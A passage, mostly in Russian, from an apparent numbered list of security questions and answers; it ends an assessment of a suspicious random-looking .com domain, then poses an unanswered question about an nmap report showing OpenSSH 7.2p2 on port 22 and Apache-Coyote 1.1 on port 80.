2. **Домен верхнего уровня (TLD)**: TLD ".com" является одним из самых распространенных и широко используемых, но действительность доменного имени не зависит только от его TLD.
3. **Потенциал для злоупотреблений**: Случайно сгенерированные доменные имена, подобные этому, часто используются в злонамеренных целях, таких как фишинг, распространение вредоносного ПО или спам. Если вы столкнетесь с таким URL, рекомендуется быть осторожным и избегать его, если вы не уверены в его безопасности.
4. **Регистрация домена**: Чтобы определить, активен ли этот домен или зарегистрирован, вы можете выполнить WHOIS-запрос. Это даст информацию о статусе регистрации домена, владельце и других деталях.
5. **Неузнаваемость**: Это имя не соответствует никакому известному бренду, услуге или организации, что вызывает подозрения относительно его легитимности.

В общем, этот URL кажется случайно сгенерированным доменом, который потенциально может быть связан с злонамеренной деятельностью.

20. What can you say about this nmap scan report? Are there any security issues in this report?

* Открытые порты 22 и 80
* Порт 22 – ssh ; версия OpenSSH 7.2р2 протокол 2
* Порт 80 – http; запущеный Apache-Coyote версии 1.1
* Сам хост на OS Linux